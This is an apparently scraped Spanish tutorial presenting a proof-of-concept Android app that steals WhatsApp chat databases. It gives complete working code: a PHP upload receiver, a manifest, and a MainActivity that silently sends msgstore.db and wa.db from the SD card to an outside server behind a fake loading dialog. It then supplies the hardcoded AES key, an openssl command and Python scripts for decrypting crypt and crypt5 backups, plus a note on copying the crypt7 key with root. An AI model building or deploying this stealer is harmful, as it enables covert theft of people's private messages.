Sei sulla pagina 1di 9

Aplicacin Android para robar y leer chats de WhatsApp

en Android (PoC)

Es posible subir y leer los chats de Whatsapp de un smartphone desde


otra aplicacin de Android? Por supuesto que s. Slo necesitamos que la
aplicacin maliciosa haya sido instalada aceptando los permisos para
leer la tarjeta SD del dispositivo
(android.permission.READ_EXTERNAL_STORAGE).

Hace unos meses se public en algunos foros una gua paso a paso para
montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha
publicado una PoC con unas pocas modificaciones.

Para empezar con la prueba de concepto (y ojo que digo PoC que nos
conocemos ;)) tenemos que publicar en nuestro webserver un php para
subir las bases de datos de Whatsapp:

<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.

$uploaddir = "/tmp/whatsapp/";

if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];

$uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." .


basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
}
?>

<html><head><title>Shoo.. nothing here</title></head><body><form


method="post" enctype="multipart/form-data"><input type="file"
name="file" id="file"><input type="submit"
value="Submit"></form></body></html>

Despus debemos configurar nuestro php.ini para subir ficheros


grandes:

...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M

Lo siguiente que necesitamos es crear la aplicacin de Android que suba


los ficheros de la base de datos de WhatsApp hacia el servidor web. Para
ello creamos un proyecto en Eclipse y empezamos modificando el
fichero AndroidManifest.xml para solicitar los permisos para leer la
tarjeta SD e Internet:

<?xml version="1.0" encoding="utf-8"?>


<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="bb.security.whatsappupload"
android:versionCode="1"
android:versionName="1.0" >

<uses-permission
android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />

<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="19" />

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >

<activity
android:name="bb.security.whatsappupload.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER"
/>
</intent-filter>
</activity>
</application>

</manifest>

Para la disposicin podemos utilizar el diseo predeterminado que crea


Eclipse, si acaso podemos mover el TextView al centro y aumentar el
tamao del texto. La subida del fichero ocurre antes de ver el layout,
para esta prueba de concepto de esteactivity_main.xml es lo
suficientemente bueno:

<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true"
android:layout_marginTop="179dp"
android:text="@string/hello_world"
android:textSize="24sp" />

</RelativeLayout>

A continuacin tenemos que crear la funcin MainActivity.java para


subir cada uno de los ficheros:
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
- /WhatsApp/Databases/msgstore.db.crypt5
- /WhatsApp/Databases/msgstore.db.crypt7 (ltimas versiones)

package bb.security.whatsappupload;

/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;

import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;

public class MainActivity extends Activity {

//A ProgressDialog object


private ProgressDialog progressDialog;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new UploadWhatsApp().execute();
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

@SuppressWarnings("deprecation")
private void uploadFile(String file) {
HttpURLConnection conn = null;
DataOutputStream dos = null;
DataInputStream inStream = null;

Log.i("FILE", "Filename:\n" + file);

String lineEnd = "\r\n";


String twoHyphens = "--";
String boundary = "*****";
int bytesRead, bytesAvailable, bufferSize;
byte[] buffer;
int maxBufferSize = 1 * 1024 * 1024 * 1024;
String urlString =
"http://bas.bosschert.nl/whatsapp/upload_wa.php";
try {
// ------------------ CLIENT REQUEST
FileInputStream fileInputStream = new FileInputStream(new
File(
file));
// open a URL connection to the Servlet
URL url = new URL(urlString);
// Open a HTTP connection to the URL
conn = (HttpURLConnection) url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary=" + boundary);
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data;
name=\"file\";filename=\""
+ file + "\"" + lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
// close streams
Log.e("Debug", "File is written");
fileInputStream.close();
dos.flush();
dos.close();
} catch (MalformedURLException ex) {
Log.e("Debug", "error: " + ex.getMessage(), ex);
} catch (IOException ioe) {
Log.e("Debug", "error: " + ioe.getMessage(), ioe);
}
// ------------------ read the SERVER RESPONSE
try {
if (conn != null){
inStream = new DataInputStream(conn.getInputStream());
String str;

while ((str = inStream.readLine()) != null) {


Log.e("Debug", "Server Response " + str);
}
inStream.close();
}

} catch (IOException ioex) {


Log.e("Debug", "error: " + ioex.getMessage(), ioex);
}
}

private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{

@Override
protected void onPreExecute()
{
//Create a new progress dialog
progressDialog =
ProgressDialog.show(MainActivity.this,"Loading Application, please
wait...",
"Loading, please wait...", false, false);
}

//The code to be executed in a background thread.


@Override
protected Void doInBackground(Void... params)
{

String fileWACrypt =
Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
String fileWAPlain =
Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db";
String fileWAwa = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/wa.db";

MainActivity.this.uploadFile(fileWACrypt);
MainActivity.this.uploadFile(fileWAPlain);
MainActivity.this.uploadFile(fileWAwa);
return null;
}

//Update the progress


@Override
protected void onProgressUpdate(Integer... values)
{
//set the current progress of the progress dialog
progressDialog.setProgress(values[0]);
}

//after executing the code in the thread


@Override
protected void onPostExecute(Void result)
{
//close the progress dialog
progressDialog.dismiss();
//initialize the View
setContentView(R.layout.activity_main);
}

}
}

msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas


versiones de Whatsapp. Msgstore.db.crypt est cifrado con AES, pero
siempre usando la misma clave tanto para cifrar como descifrar:
346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out


msgstore.db.sqlite -K
346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:

#!/usr/bin/env python

import sys
from Crypto.Cipher import AES

try:
wafile=sys.argv[1]
except:
print "Usage: %s <msgstore.db.crypt>" % __file__
sys.exit(1)
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))

Y ya est, as de sencillo. Podremos estar leyendo los chats de


WhatsApp de las bases de datos extradas...

Actualizacin 1: Desde la ltima actualizacin (2.11.152), WhatsApp


ha cambiado el algoritmo y la clave para cifrar las copias de seguridad
en las SD. Los nuevos archivos con extensin "crypt5" se cifran
mediante aes-cbc-192.

Para descifrarlo podis utilizar un script de grbnz0 y nullsub (ms


informacin en SbD):

- python pwncrypt5.py msgstore.db.crypt5 grbnz0@gmail.com >


msgstore.sdb

#!/usr/bin/env python
"""
48bits presents:
8===============================================D~~~
WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub
8===============================================D~~~
"""

import sys
import hashlib
import StringIO
from M2Crypto import EVP

key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120,
25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])
iv =
bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xB
B,0xB6,0xB0,0xB9])

def decrypt(db,acc):
fh = file(db,'rb')
edb = fh.read()
fh.close()
m = hashlib.md5()
m.update(acc)
md5 = bytearray(m.digest())
for i in xrange(24): key[i] ^= md5[i&0xF]
cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)
sys.stdout.write(cipher.update(edb))
sys.stdout.write(cipher.final())

if __name__ == '__main__':
if len(sys.argv) != 3:
print 'usage %s > decrypted.db' % sys.argv[0]
else:
decrypt(sys.argv[1],sys.argv[2])

Actualizacin 2: Las ltimas versiones de WhatsApp cifran la base de


datos con crypt7. Tambin puede descifrarse pero para ello se requiere
del archivo Key, que solo se consigue teniendo acceso root en el
telfono.

El mtodo ms sencillo es copiar la


clave ("/data/data/com.whatsapp/files/key") y, junto con la base
de datos, utilizar Whatsapp-viewer:

Potrebbero piacerti anche